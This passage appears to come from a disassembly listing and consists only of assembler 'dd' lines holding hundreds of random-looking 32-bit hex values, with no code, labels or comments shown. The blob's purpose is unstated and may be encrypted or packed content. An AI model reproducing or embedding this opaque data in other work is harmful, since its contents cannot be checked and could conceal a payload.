		dd 14D01410h, 20D5DFF7h, 0A9259D98h, 0C3F8C2EBh, 0FC422B41h
		dd 46C056BCh, 4D46359Fh, 1CCB5829h, 0C1300841h,	6FFF41C9h
		dd 0F44AC7A7h, 1A9DC925h, 0CA007F70h, 67312A5Bh, 8566E925h
		dd 0ED042073h, 0AD13A301h, 61EF1360h, 0E32AEF9Dh, 2F209F3Ch
		dd 768FDE1h, 57187BEDh,	370C73FCh, 6ACB0B19h, 0DEF213E9h
		dd 51786813h, 0EC4168Ch, 0E9020F35h, 21669919h,	79CF015Ah
		dd 0EED80678h, 5124BDE7h, 8140BA1Fh, 842706F1h,	0CF090B29h
		dd 2F004759h, 0DDD34B6Ch, 756EEAB8h, 0F22FC49Fh, 95EFD1D3h
		dd 0F4E24B91h, 43AB8C6Eh, 345B5114h, 0B89D10B3h, 295A055Ch
		dd 0A452917Eh, 1201C32Ch, 0DE8EFCD5h, 7EAE3555h, 0D2AB4452h
		dd 0DBA0BD13h, 55510FB8h, 0E6441E44h, 50C4F2BCh, 704F49EEh
		dd 0B24F65E7h, 5B173564h, 905B1207h, 614546BCh,	295CAA09h
		dd 15C520D8h, 27440D12h, 7E783400h, 9815F3Ch, 0A0C40E9h
		dd 3DD42F7Fh, 933AD02h,	7781C2F6h, 2B8982AEh, 65BDFCFCh
		dd 0DBF8F5D0h, 7CCA81E4h, 9EA77C82h, 54A8C513h,	0E34F325Ch
		dd 83B1D137h, 29AA6E9h,	29FEBB34h, 5DC10ECCh, 8C894156h
		dd 2FB800FCh, 0D34AF40Ah, 0BFE5C4A8h, 732393C1h, 0FCC3C710h
		dd 0B807703Dh, 5116E6DCh, 0B7555F70h, 67CC4B68h, 7890C75Ch
		dd 0C34D0563h, 0C6288CAFh, 660292B2h, 1216446h,	8A388F1h
		dd 0C231AF3Ah, 0E945D9CDh, 3AC7907Dh, 15A8060h,	785ED678h
		dd 42ADE982h, 0DC6C5580h, 0A35A5702h, 5AC3E927h, 2DD8028Bh
		dd 8492C05h, 76B1F180h,	0B8C0095Ch, 178565A8h, 5900BF21h
		dd 7BE51CEFh, 64F0F15Ah, 46D76BB9h, 801C88F4h, 0D928E7C3h
		dd 9978795Bh, 0B050048Ah, 3F04FBB4h, 8EC0F930h,	96B6BEE9h
		dd 3EE4C22Bh, 9E951A59h, 0BF5A00ADh, 597758DFh,	2E728C1h
		dd 1B7109C9h, 0D6000198h, 7A7E9AD8h, 0CAA549B5h, 0EF500332h
		dd 0A49606Eh, 5769BFC1h, 945FE972h, 0B341CFCEh,	0A62F4D26h
		dd 9CB2916Bh, 59483FD8h, 46F1320h, 4F855DA9h, 4E77DB25h
		dd 93840ED1h, 88263E4Bh, 15502FE7h, 207F052Dh, 5660B56Ch
		dd 5978975Fh, 3FA92D20h, 9F2E3D1h, 781B28B0h, 6354DE00h
		dd 85979357h, 8EF84A27h, 7FD2DE4Bh, 66243291h, 78DD0A0Ah
		dd 77D2DB0Bh, 6ABC0898h, 0A8536286h, 994927A8h,	92C2DF9Bh
		dd 2A90EA20h, 0C2060F3h, 5A2F55EBh, 0FA04E924h,	7E8AB881h
		dd 772046F9h, 4D6ABF18h, 0C93AC1h, 7306E2C1h, 14D40E81h
		dd 0F2C06B30h, 12DE1399h, 0E05F99Fh, 170B3A0Ah,	2E3FAC00h
		dd 4BC42AB9h, 53E312C2h, 685BF45Eh, 6885534Fh, 0E2DB38EAh
		dd 8B0B0B63h, 61325E5Eh, 56D7360h, 0FC4183BBh, 0D3D6FDCCh
		dd 0D629F261h, 3710FA9Ah, 5034F764h, 9D810BBh, 0BC5E4FF1h
		dd 1D68B09Ch, 6495C42Bh, 149C88C9h, 95449A80h, 4621D1F3h
		dd 2165124h, 12E429FBh,	3BC130EBh, 0A8CD2B40h, 0FA59EAC0h
		dd 2E5A89D0h, 0D1969CA7h, 71685312h, 21CC6F80h,	0A8804F55h
		dd 62AC1336h, 67B232EEh, 5359644Ah, 0C3DE123Dh,	0F040B0E4h
		dd 235D4FCBh, 222408DFh, 954250BBh, 515300E1h, 807814B1h
		dd 0C9FE9B1Dh, 888DF144h, 1A7056AAh, 2283390Ch,	77907EBFh
		dd 59B5D389h, 8AAC62DBh, 99A9C225h, 0A5FA0C69h,	0E97AE8B7h
		dd 4AF05938h, 21D08B96h, 0A27CA5EEh, 773D8EC0h,	1CF5BC0Eh
		dd 370BE583h, 0EC02EFABh, 46787DE9h, 7CDAB827h,	8F5425C1h
		dd 4ABDAC28h, 98C0F57Dh, 519DC976h, 0EE68864Fh,	0B225D51Dh
		dd 0F60B4EABh, 17D064E0h, 0B089ECD9h, 4AD657A2h, 93EBC61h
		dd 48FBE94Dh, 121DF3AEh, 0ACD589C9h, 0F6037905h, 376130ABh
		dd 0C7E9F821h, 729F9286h, 0F7F001C6h, 836850D6h, 4C58233Bh
		dd 0A95B89F0h, 0C915F579h, 94010834h, 17A24675h, 200E9EA8h
		dd 7BFDA049h, 22950701h, 7F57179h, 0EABE8B83h, 2E108864h
		dd 825AD1ECh, 0B9771426h, 0CD6AD082h, 92214234h, 3564C320h
		dd 314117F6h, 0C6C774DAh, 89404949h, 8718CFB1h,	0C828E2C2h
		dd 0EDD87C42h, 0AAFE013Bh, 8A2DAD1h, 404B5D56h,	2558B556h
		dd 8FD44EDDh, 5B160CE8h, 516862ABh, 49AB61E2h, 7854C65Ch
		dd 2D1EB6E9h, 882F0B32h, 0BF010388h, 17455ABAh,	68F8023Fh
		dd 73CC143Ch, 555FD2Ch,	0EFC1C212h, 3FDCF4B4h, 0D1AFA961h
		dd 842FA2F9h, 0F888C4E7h, 4185B4DCh, 0CCA0C7B1h, 9DA9F2FAh
		dd 3E7F8C89h, 4DE924A4h, 5098A7D8h, 0F316858h, 8C6E5F42h
		dd 0D8C4E36Ch, 5869A95Bh, 0D9EE2FDAh, 78EF802Bh, 0CA29D08Ch
		dd 0E4CB594Bh, 2C40E45Ah, 6518477Fh, 0A89CDFF7h, 0AC932774h
		dd 0D1423E76h, 1D4E7EEDh, 1AD644F5h, 0E9C3C1A1h, 26052F3Eh
		dd 0D2AB0DB5h, 0C0679CDh, 4AA79806h, 0F4EE11C7h, 9B76AFD0h
		dd 729A273Ch, 69D685D5h, 67FBEE52h, 5A9278DEh, 65388CA6h
		dd 1694E6DFh, 1F673CCh,	51C81E51h, 11E051Ch, 5BE56D9h
		dd 0AFE6E908h, 0C9F65146h, 246B5ADEh, 0E888C065h, 570E9364h
		dd 0F7CA81h, 0F2E92820h, 0A593B113h, 52F8AD60h,	9AA00779h
		dd 23F41AFFh, 2E340CC1h, 46B42DAh, 84DE29C5h, 199BFEBEh
		dd 0DEA342Fh, 3103CBDDh, 0B29A9772h, 0DE7BDD30h, 57E21AD7h
		dd 8C20FBE6h, 0EEF9A05Ah, 1CB11F7Ah, 1B4E0957h,	0F08C1754h
		dd 90492480h, 581D0F1Dh, 0AF845B9Ch, 9F90EC09h,	5529E359h
		dd 9676B4F8h, 1CD165h, 5EABE9E3h, 785EE20Fh, 5CB8BE5Ah
		dd 591AABA4h, 9AA2DF49h, 0E47AD56Ch, 0C8310A16h, 84AD0CA8h
		dd 39916808h, 0A55B5CEAh, 0BC95FDCh, 5CD061D2h,	6D07562h
		dd 0B1BAE984h, 61857FAFh, 1AF1F601h, 0DEE1457Ah, 0D3DD1730h
		dd 83D9421h, 0CE42B3BEh, 1A500B59h, 465D9009h, 0F6A51048h
		dd 7ED12679h, 27D60328h, 180470ECh, 0D22499B2h,	5EE91181h
		dd 26461D3Bh, 0D18E456Bh, 6BF98842h, 22D2E981h,	7B27B32Fh
		dd 0D3E4CAFCh, 0BD60E92Ch, 1D90B8BEh, 591F2CC8h, 3AE02A12h
		dd 29B0B0Dh, 568204D8h,	0F40BCD0Bh, 8C47051Ch, 858A1D73h
		dd 0AA3CDF24h, 13BF7241h, 852B11FFh, 986D8159h,	79B43F22h
		dd 2D099560h, 7F523B56h, 0B340608Bh, 5E58F531h,	5007007Ch
		dd 2737E6B8h, 0F3E92656h, 4EA7A02Bh, 62B2B0B6h,	0E3C27778h
		dd 795921E9h, 0C9B94223h, 33B16807h, 0F07B4802h, 0FDA1852h
		dd 30F95CA1h, 0B55AB2E2h, 0D03494C9h, 62031EB4h, 0F7870A38h
		dd 962FBC30h, 7FF22E8Bh, 4F0A28E6h, 0A7CD01EBh,	4041FA1Ah
		dd 30192030h, 7F287AB5h, 61ED72D8h, 0BCE0153Ch,	7EE20085h
		dd 3BB0ED4h, 149E2597h,	9C20DCF0h, 89C097E3h, 72276685h
		dd 5E20702Ah, 2FDFF121h, 0BED701B2h, 26A33B75h,	1CAD6809h
		dd 9CD7CC1Ah, 575197D7h, 254F4E2Ch, 4BEB7588h, 992026EFh
		dd 0EDD0DDF6h, 7D4A8F9Ch, 80DAB600h, 4C2838C5h,	0BD75FDF5h
		dd 0FFBEBD45h, 0E828EC16h
		dd 0BEE8A816h, 24F8B34Ah, 30429E20h, 5C3A5F58h,	0EFEBA383h
		dd 0CBE91816h, 8A292A82h, 0ED80ABC2h, 0C7E8FA34h, 12A65FE9h
		dd 0D6EAE719h, 0ECA4C6E2h, 65E9C200h, 4976D2C2h, 0ED5E2758h
		dd 0DE393BAh, 169B3084h, 0D84F43A8h, 63418FBBh,	740B7720h
		dd 0C44E9931h, 79FB27EEh, 91114BC7h, 586823D9h,	0B65786FCh
		dd 3ED2761h, 7627E156h,	0CC5069D0h, 9E00D65Eh, 0B159EC88h
		dd 9AE4F4C6h, 32E9A172h, 0D75764E0h, 84E2B310h,	0E1CAF12h
		dd 0AA522CF8h, 0A0BBC120h, 6490264Dh, 4169103Eh, 0B337DC90h
		dd 5862EBB4h, 6A034411h, 2296F2Dh, 36B6521Ah, 0FA56EBF5h
		dd 9E1FEA1h, 0B27C02BEh, 74FA5065h, 490BA7FCh, 0E22612A5h
		dd 0B94A348Ah, 45EBD617h, 0D43BE943h, 0DA87AFE7h, 0CEE09584h
		dd 0C2595C66h, 12C4B610h, 3B9015Bh, 616845Dh, 0F9A81256h
		dd 0A626820h, 75133024h, 0E16B53CCh, 0EFF45518h, 43957D02h
		dd 48ED835Dh, 26FEE06Ch, 9622182h, 5A99F515h, 86383B53h
		dd 84D35BE9h, 0BA77EBB0h, 0FE06F4A4h, 0DB41CCC7h, 0C3BA8404h
		dd 7D942EDh, 76742BB8h,	52CC1BB3h, 20925196h, 8F6A70B3h
		dd 0A7FB9788h, 0EA5573E2h, 7F665D41h, 5DA1B280h, 0B7536680h
		dd 585B8810h, 0A9E814Ch, 0AF69641Eh, 0ED7FB500h, 2DD2F77Bh
		dd 75E0EA83h, 6880EEE0h, 5A211CD0h, 0E281802Ch,	30157D38h
		dd 1009A598h, 5D200FA1h, 91C03F09h, 47BCA243h, 732B6840h
		dd 580E2FF2h, 0FE296084h, 0C0995C4h, 1CDA5C5Eh,	0A57CE7C1h
		dd 74F84645h, 0B49B532Ah, 38E904C0h, 0D88289E4h, 544DC168h
		dd 0EBB9100Dh, 9901BE15h, 0BBCF845Eh, 1ED53D21h, 37C1AE34h
		dd 0A450D0BAh, 0BB1316F7h, 1FB29AFh, 4F1DBF9Dh,	92503FC6h
		dd 0F7BC6D3Ah, 88E155C5h, 74124D70h, 17EB44DDh,	41CBCF3h
		dd 0D43D8425h, 2680FC0h, 0E4BFC541h, 806DEC6Ah,	0C99D36EDh
		dd 1E0B9E5Bh, 149EA04Ah, 0ADDF656Fh, 48D2CEAFh,	5C522D81h
		dd 5B560BECh, 6F7EE860h, 15A7B12h, 80B60C4h, 0E9D2D15Bh
		dd 270BF171h, 4A3B4C5Ch, 6EC4A5E9h, 0A62514A7h,	2057F40h
		dd 1298659Fh, 0EB06AE84h, 0BF2654D4h, 0A9AD6FE7h, 0B04DE6AAh
		dd 58BF4020h, 9754169Fh, 0B4D53F42h, 9AE92FE6h,	81DD9689h
		dd 28F6EBBAh, 0CDF2CC47h, 0C0066A51h, 12262B2h,	0A205146Bh
		dd 2FEB94DDh, 4983914h,	47EC7B59h, 5D68CC2h, 7721C85Ch
		dd 35CC564Eh, 727A1BCEh, 0C0EA2E51h, 0F61798DAh, 5916883Dh
		dd 80590F1h, 13FF22EBh,	66E1E5A1h, 9163FE45h, 2E1423E0h
		dd 0F102357Ch, 0F4915650h, 44304201h, 66B10A08h, 0CA2E6Ah
		dd 46330452h, 0A840A0E9h, 74B501BEh, 0F74E2DB3h, 0FE260DEh
		dd 2B6A1C00h, 68B9F381h, 10627D9h, 0FAEBF385h, 40FE95C9h
		dd 82895E79h, 5460625Dh, 32D02547h, 0E95422B7h,	2DA7569Fh
		dd 688543E7h, 31FF07F2h, 6455AF65h, 0F4A0F5A9h,	0E7B7C9E5h
		dd 0D4D3E98h, 0F1F4ED4Ch, 0C2D53B65h, 0EC90D00Bh, 4DC8253Ch
		dd 0D2F946C6h, 0A4EBE5DFh, 0DC7E30A4h, 394FA54Ch, 33CCDCB5h
		dd 0E692C53h, 0AD6B176Ch, 0A7BFC0D8h, 9760AC6Ah, 5D09E4F8h
		dd 423CD31h, 98EEA2D8h,	8C40CB55h, 3D5A99BAh, 32CD4D12h
		dd 0D30883EBh, 0ED18B202h, 0BDF5105h, 128B4834h, 0EA0F66D2h
		dd 770968ABh, 806BBB5h,	0B1E97BFDh, 0AFDA2D69h,	0FDF02E09h
		dd 0C1B857CDh, 0B59293E9h, 80DBF607h, 0C33284CBh, 0E99848CAh
		dd 41894F41h, 407346D9h, 1D7A0051h, 203A9065h, 0C0B55DA8h
		dd 0BFA0EE42h, 73C9F09Bh, 819262DCh, 2896664h, 126A8EFDh
		dd 0B023FE2Ah, 0F03DDA4Dh, 0BF5703D7h, 554F3095h, 6FE5E3D9h
		dd 2E7D858Bh, 0C3F0A02Bh, 112ED331h, 0F510BAE7h, 0B3895E2Dh
		dd 0F64EA442h, 8E5FE917h, 0AEBD657h, 385A12Ch, 4686684Ch
		dd 62362517h, 680B07E7h, 0DE3121F0h, 0BA7F8173h, 12674823h
		dd 4A3C83E9h, 66B28A5Bh, 0BED9F356h, 1917BDDBh,	87F4CAF2h
		dd 52D990E9h, 5DB8CF8Bh, 927EFB45h, 0B155AEEAh,	6BE0F01Fh
		dd 50E9127Ah, 9F59A37Ch, 0F99D778Bh, 4BA49249h,	0B5AB4D5Ch
		dd 0FA4E10D7h, 0A30704D0h, 9965BCE9h, 2D347E92h, 1CF4DAB8h
		dd 0E62D44EFh, 7D03AA75h, 2535088h, 714CEF0Ch, 0EE000402h
		dd 0C07C6133h, 51D7FE24h, 9AD2E9BAh, 0B4501F40h, 5F8BB62Ah
		dd 8205C930h, 0ECE9CA19h, 2BB875E3h, 0B7ECC9BEh, 579DEA50h
		dd 63F14409h, 0C788F729h, 315E0408h, 4FACE3DFh,	2FE2084h
		dd 66BA2DBAh, 3C0BD356h, 5ABD490Bh, 0B0130115h,	30C788F1h
		dd 0A99563EBh, 745B02AEh, 0B4820971h, 1AD59968h, 4902DDB0h
		dd 0C27F2B74h, 0A7F44024h, 38750073h, 6713E581h, 0F5EC77C0h
		dd 33D3E09h, 4521F524h,	0F5BF30EDh, 1B246B7Ch, 27B71FBFh
		dd 3E88FFF1h, 0C28007D3h, 26CA3366h, 8CCEC4DDh,	0F72F684Dh
		dd 4393378h, 0D06A7E8Ch, 0F184AE18h, 10612D80h,	6A0E9038h
		dd 100B0705h, 56531DCAh, 0ECB79CCh, 189E9664h, 0FD286B77h
		dd 52BF87FEh, 46C904DCh, 0C0679D18h, 608B295Eh,	0E4C4D14Bh
		dd 1941FAAh, 2103FAE7h,	0D38E2008h, 1C273302h, 64EABEE9h
		dd 0E3C00E68h, 0DE6E8004h, 8812F360h, 0FE2F5BDDh, 1657DAC5h
		dd 0A1DAE98Eh, 0C8F2E64h, 80EBE917h, 37732D47h,	0D876F72Fh
		dd 453501B5h, 21FE4170h, 870104C5h, 89B24D4Fh, 4B4B43Fh
		dd 267850BFh, 671FEC26h, 0AA55F468h, 69E9C431h,	0E63F6C75h
		dd 0FE2F7CB3h, 93CA517Bh, 0BA79A021h, 2B1F4917h, 59C25C0Dh
		dd 40C4DF30h, 0E50F8655h, 0AE85F580h, 52E80163h, 0CEE81BB6h
		dd 72F6FA06h, 0EE8FA0A1h, 5E913DFh, 96DA2BCh, 664AA068h
		dd 48BB09BCh, 3C00CB75h, 90629CEBh, 0A29735Ch, 81F93AE2h
		dd 1D3B013Eh, 0DCE95167h, 89164C68h, 0B00BB824h, 9FD5C3E9h
		dd 0CBC0DC1Ah, 562A21A3h, 0B4259B3Ah, 0A8B620E3h, 9F164038h
		dd 881FF5Ah, 7A24295Ah,	4A384759h, 0A84425AAh, 978CB6DAh
		dd 0EA425FD9h, 1F90FD5Dh, 9FDDD381h, 0F734FE3Dh, 34FB08D5h
		dd 0D2E644A2h, 8166Bh, 0E280015Bh, 6BCAFED0h, 2568F6A0h
		dd 0A4661DE5h, 412B48h,	59EF3015h, 9708E7C0h, 0E9164B72h
		dd 3791A776h, 2468EFh, 0EE59BDE8h, 5BB78D18h, 5F7CEE52h
		dd 0B28824A4h, 0E6089378h, 8CC28165h, 0ED0A0D22h, 0F90E2F28h
		dd 6C7605BEh, 0CC82C0FFh, 7C2C2550h, 2925C74Eh,	0C682DD4Ch
		dd 53009C9Fh, 99054868h, 203EA82Ah, 4B5F7FF4h, 0A3800BADh
		dd 0F762B46Dh, 7819D348h, 32993D17h, 0BB7C34FEh, 68079901h
		dd 312A6A37h, 0A934D5h,	722C6DB3h, 4A112CAh, 453309F6h
		dd 5E5A19F5h, 2B49A17Bh, 0E804F274h, 290BCD73h,	3779A47Dh
		dd 5324D0F8h, 0ACF4AD12h, 5008C054h, 0A92CC5B0h, 14C28825h
		dd 97D7F67Dh, 0A8C4A64Ch, 0DB5C123h, 4B4E93D0h,	0F3EAF490h
		dd 2F396B01h, 0EFAE969h, 2AB58A7Eh, 5548D417h, 5AF71009h
		dd 20DAB85Eh, 95DEF4E5h, 529D475Ch, 873C688Eh, 0D18021BEh
		dd 0CCE81E6h, 2F382CB1h, 0F58A9690h, 6544EF30h,	0FA120399h
		dd 0FD5F01C2h, 0F663F182h, 0CC204B44h, 0FB719FFBh, 7AA3F627h
		dd 257116D5h, 0A8F97A97h, 0B836F781h, 282B7756h, 68005074h
		dd 15411CEEh, 0E6EC0558h, 8F665C4Eh, 0B2269650h, 64F3B95Ah
		dd 8D6DBE34h, 0C6B2AB2Ch, 0EEC124F1h, 73E12E9h,	9B023527h
		dd 14829EAFh, 9FC04C11h, 0BABF5B75h, 4F960443h,	0F85FDCE8h
		dd 0CAEFF5D2h, 369D4E1Dh, 5BD6A66Bh, 26C434E8h,	450692C6h
		dd 0B68048F7h, 0C9E52F6Fh
		dd 844ED45Ch, 61EB6DE4h, 8268EBE8h, 42D0C2AFh, 0C1BF8EA2h
		dd 0CF3756Dh, 0AB7EC12Ah, 8B892FA5h, 14BDB60h, 0F708B10Bh
		dd 40E7C1D7h, 4809C7E0h, 0C2C5230h, 90BE6CB9h, 0BC0720C6h
		dd 681D57FAh, 6D56195Ah, 94F77100h, 1077F413h, 62663BE9h
		dd 0F4112B96h, 0CA3F4E5Ah, 6BF0702Ch, 5CB68AE8h, 2FBC8B99h
		dd 0FCB49E52h, 0A20097F8h, 223620B9h, 54490627h, 0D90905AFh
		dd 812F857Fh, 2A8604A9h, 0B08387C4h, 2C347552h,	40CC4C71h
		dd 299A2BF7h, 9820C47Ch, 4DE698D3h, 0A2845877h,	0DCF5F594h
		dd 0FD918FADh, 362E2602h, 87C6266h, 712D08B6h, 0BF166E2h
		dd 50586809h, 37F4820Ch, 0F75C0097h, 0B90551D2h, 8D811729h
		dd 1B42C2FFh, 6A2FF35Ch, 0E9E5FB0h, 53ACE91Ah, 7E3764Ah
		dd 64B9F780h, 7077A3F9h, 2859CB12h, 10EF8AC3h, 48C83E82h
		dd 220B7C5Ch, 5A67487Dh, 4E088348h, 0AFDE940Ch,	14855F06h
		dd 9251EC9Bh, 0FA57F888h, 633ED8Ch, 68668C4Eh, 8743A42Ah
		dd 31E2C054h, 0C67CD760h, 48DC5188h, 0C4514D35h, 1A040805h
		dd 4D036959h, 16C2FD87h, 5B2DBF50h, 1ABF243h, 8BE518C3h
		dd 49D82938h, 5109F7Ch,	0E2A4250Fh, 0F7276768h,	4F263B18h
		dd 5946EA12h, 0FF472301h, 0C7446D03h, 1F7F0AAh,	12A3C84Ah
		dd 162A106Ah, 0C465E80Bh, 8AAADABBh, 21BE932Dh,	2262C716h
		dd 50ED2794h, 0E55BBFC0h, 0FD260BEBh, 87D9CDB2h, 503F76EBh
		dd 0D15B72E9h, 0C73DBF3h, 45CD5B66h, 5205FB0Ch,	43E96A53h
		dd 0A46138ADh, 0ED2AAC73h, 4A006C2Dh, 35C988E2h, 89559F29h
		dd 6812201Fh, 9DC186Eh,	0E2D15A25h, 0F27000D7h,	5FFE4E47h
		dd 8A74C13Ah, 0BE0F019Ch, 0C10DAB41h, 29FECA2Ah, 884869EBh
		dd 2FE63608h, 0ED81355Ch, 1BE86422h, 1613F5D8h,	0AA62719Bh
		dd 0F6C1A038h, 6141B50Eh, 2DC12FF8h, 40409E2Fh,	5BA19674h
		dd 2821F1FEh, 7F332224h, 205081B0h, 0F1F2315h, 0E1183CB8h
		dd 0FF6815Fh, 1503CE47h, 8CA6177Fh, 98AA633Bh, 0CC210561h
		dd 25005556h, 361B1604h, 25410105h, 4E833E53h, 75F13548h
		dd 5A9E208Eh, 0F2A3DB67h, 8A61C9DEh, 726A474h, 9167984Eh
		dd 0E951BEC0h, 882CE402h, 2E41E8DCh, 0A2304A19h, 0A1101CF5h
		dd 0E8298F22h, 0A6E804F2h, 0D8A0FD9Ah, 5C5A5C61h, 2058B751h
		dd 2D9E425h, 96398469h,	6A73DE49h, 4CC6500Bh, 0DB9425AFh
		dd 6E311646h, 65324773h, 53C3EA04h, 0D3F29FF9h,	3E6E773Dh
		dd 0F1498225h, 0D8B48CE4h, 0DAA1F77Fh, 0C46069E4h, 0CAA92166h
		dd 1DDCC810h, 22CC4840h, 93CFD5D5h, 5D8B20FFh, 0BC5A943Bh
		dd 0E9F8B40Fh, 0E91C29C8h, 0C114832Ah, 75DD03EAh, 1BA7B005h
		dd 45AAD129h, 0CA8E2845h, 9859292Dh, 12C5C309h,	6F6ADF4Dh
		dd 7DBFD200h, 365A1E1Ch, 0C7ACDC0Ch, 0CB053F59h, 1F1F5B7Ch
		dd 47E164C5h, 401371E1h, 687A3057h, 0F00D7F2Fh,	63F3483Ch
		dd 0F73783Eh, 63F99599h, 0A96FB805h, 20449487h,	0C6011CF5h
		dd 440B6458h, 0FE69466h, 5AB07BD2h, 48B36704h, 0CEE9F016h
		dd 8CAC469Dh, 4BDBFE9Bh, 1083CA5Dh, 0B902E1C9h,	7185587Dh
		dd 3E29A040h, 48010F71h, 1A6C9A2Dh, 0EE20402Eh,	79D9006h
		dd 5FA18CAEh, 4158A009h, 0B998D9F7h, 48664E40h,	0E62F14ADh
		dd 6E5F5399h, 40964FE4h, 0BE0B56D3h, 78EE6B12h,	58650115h
		dd 3CE96439h, 2EED640Ch, 9698B4F4h, 0FE7EE620h,	0FF5D339h
		dd 6DA5F1BAh, 437BB07h,	5C0E3092h, 0A1256FDBh, 5AA28CC3h
		dd 0B5162DDFh, 22BFB540h, 545747Bh, 0E10B6C2Dh,	2B1C52Ch
		dd 37627906h, 0D8E5CA5Dh, 2DE20269h, 38E92BA8h,	6DBDF450h
		dd 0DB12F2Ch, 8B9D9F99h, 6C06F1E7h, 6117532Eh, 90133BE6h
		dd 2B2045F1h, 10660276h, 5B19E903h, 55144365h, 2EBD5AA8h
		dd 23FC892Fh, 0DA2EE989h, 805907BFh, 0FD88F0C6h, 0CA7BFD81h
		dd 0F8F414F7h, 9785954Fh, 10CCE2BDh, 9868FC89h,	0F8FA028Dh
		dd 43DFDF7Fh, 2DEBFD00h, 2A843152h, 0E9098AACh,	0DBB08069h
		dd 65AC5CABh, 0B1F1CC95h, 4D490906h, 0C2F8B2D5h, 0C86A7502h
		dd 2BE9B0C0h, 4C42899Fh, 4D459560h, 0EE6D39A7h,	132D93A4h
		dd 0F1DEF4ECh, 2778A404h, 0DEE8213Ah, 0EAA7447Ah, 5B933502h
		dd 4CD62999h, 500AEC78h, 169413ABh, 332852Ah, 0B520C16Ah
		dd 97A1CEFFh, 8202A12Fh, 7375870Ch, 7811604Fh, 48183030h
		dd 0B352B70Ch, 0CA7DA4B0h, 5B04925Dh, 0E293E1E6h, 68D41098h
		dd 3E92D3Eh, 3502C10Ch,	0C94B9902h, 60C72124h, 1E5CEFB4h
		dd 52F2F0C1h, 1CA009F8h, 0D42D235Ch, 0C2DF9E7h,	173D3C2h
		dd 3B4A427Ah, 950C8E18h, 2DC938h, 614C8261h, 0D3E911C9h
		dd 0FCCF054Ah, 0EA81CD4Dh, 5C00755Dh, 2307A2BDh, 0DD315A27h
		dd 3B365D3h, 7D43EE31h,	0C0E2680h, 0C240285Ah, 5DE6E0E9h
		dd 0C9F79ECEh, 0B41C45F7h, 9CF85A49h, 64C3F2A8h, 6B1D2F9Fh
		dd 8FD3FEB1h, 0EF09FD29h, 151365Eh, 40EC4824h, 4F0B2D71h
		dd 0D779EF02h, 3E07D788h, 9307ED05h, 6B1A804Eh,	0E91B1880h
		dd 2D6360FBh, 30956A3h,	0D501FE7Ch, 29FBE3E2h, 0E8EB047Ah
		dd 2D5D0097h, 4FF24DD7h, 568B174h, 52E32107h, 1F8004ABh
		dd 2A24233h, 0BF09BE27h, 9AC9907Eh, 3EE02E21h, 20233940h
		dd 0E8E13F75h, 0C6564AADh, 6898F739h, 0F88EC4Ah, 0B88540D2h
		dd 0B9403A00h, 4FBA0D44h, 353D1E0Fh, 0EA7C4227h, 2549C201h
		dd 4AC6F8ACh, 6C026998h, 0E9659428h, 0B844C8D5h, 47F01EE1h
		dd 747789C3h, 0F27205B0h, 1B0FE0B9h, 830AC26Eh,	5624CE8h
		dd 0D7552F05h, 9EAA0112h, 21310324h, 0B3852F63h, 16CC80B5h
		dd 9EFC30D5h, 4D6B3A0Ch, 406F6548h, 3AFB7337h, 0CE400689h
		dd 489647C4h, 0BF06FB14h, 0C2A8F1Ah, 0DA01E802h, 40E9C16Ch
		dd 80927E12h, 87E4E22Ch, 694A25F6h, 0AC86B074h,	91681929h
		dd 29691579h, 0FA027634h, 0C1387059h, 0C9F060E1h, 0A6371836h
		dd 0EC447643h, 6CEFF026h, 0EB01582Ch, 2E3C101h,	9E1F330h
		dd 2148BF50h, 7DE08E55h, 401A837Ch, 1C24BA52h, 0BDFA0185h
		dd 0C2D95AA5h, 4FD46861h, 2A718D6Eh, 0A02FA38Ah, 2C24B56h
		dd 545603A9h, 0F0FD8FBh, 3D53595Bh, 0B888812Bh,	0CE090C62h
		dd 0F012F65Ah, 0F504EE57h, 0F8129A0Ah, 35E3A78Fh, 4B1C387Dh
		dd 0BEE4EF7h, 0A15FBED9h, 798468BFh, 46CCCC2Ah,	1391909h
		dd 57460B83h, 5F5A6B81h, 0C10C8069h, 0E91E1416h, 2669428h
		dd 30E4F280h, 95F4EEE3h, 9655FD71h, 766E2C09h, 0BDEF81E6h
		dd 0D8547735h, 111A49F7h, 41329EA3h, 5A7122A4h,	61696AF6h
		dd 4983A613h, 4716D7BAh, 980BFE8Ch, 4F2DA07h, 8834ACEAh
		dd 0A628005Eh, 0B531C30Dh, 0E90598C7h, 2F88A191h, 24E04A68h
		dd 94A0AAEAh, 99E9942h,	5502C383h, 68017C45h, 302F762Fh
		dd 0FE1C3FC9h, 4E522C32h, 1105007Bh, 730FBD34h,	0AA50575Fh
		dd 79A580A5h, 0F1BBE7EDh, 402C4039h, 92481EFCh,	0C3FC665Fh
		dd 2DD16826h, 168BDD79h, 0CC1677FBh, 6E4DF689h,	655D7180h
		dd 0EBC11831h, 0BFE94803h, 575F5FBAh, 80D145EDh, 0E4D327h
		dd 1BDD434Bh, 0B8AE446Eh, 63BD0074h, 0B062CF52h, 4F7F0D4Eh
		dd 300C6160h, 55C1F99h,	4A662098h, 352F95Fh, 6DD7A8DAh
		dd 0FE01FA57h, 35F42D67h, 0D0107C6Dh, 4B4B685Bh, 0E72C8C72h
		dd 10AC0312h, 0F28394EDh, 47D1F75Eh, 0D0C12E31h, 686E80F1h
		dd 64BD3C93h, 8B5F5F51h, 0BAC9750h, 0C21BA93h, 463ED3C2h
		dd 5081281Fh, 25DCF295h
		dd 0EFA61BE9h, 0E291FAD7h, 1087B88h, 0E38038B3h, 41EBCD64h
		dd 74F2C89h, 0C25BDC03h, 7EE56A50h, 0C2EE0EF4h,	658F666h
		dd 0E6C0750Eh, 0FF397F08h, 511FC603h, 9D50F588h, 0C51E4081h
		dd 0BE13EB04h, 6AB546C7h, 0BE0341B8h, 386059A0h, 747836D2h
		dd 0A888B85Fh, 98684E43h, 256A776h, 34FD16C7h, 4982F48Ch
		dd 0BCDE3079h, 0EC5E4BC9h, 5FF9A1BBh, 618F3D2Ah, 0A0CAC860h
		dd 0E8B7289Ah, 2C44F3CDh, 0F8A7819h, 876BBB11h,	96F617C2h
		dd 0C6852ECh, 308C3B9Bh, 8DBC774Eh, 0D153542Fh,	0A9987A53h
		dd 7E16104Fh, 407B5801h, 34A05B08h, 53EEFD88h, 1CECEBE8h
		dd 7CDB41F9h, 7DE77B06h, 806BBC40h, 27CE8C0h, 0BFFEB46Eh
		dd 0AC115F7Bh, 0AC5B92h, 0E8C2E8ADh, 51426716h,	1C73F301h
		dd 0A03E3F08h, 55AE91Eh, 0F3AA8994h, 535080CBh,	47C9C68h
		dd 63E913E6h, 791EDA3h,	2EB6787Fh, 6648BBB2h, 1502BF5Ch
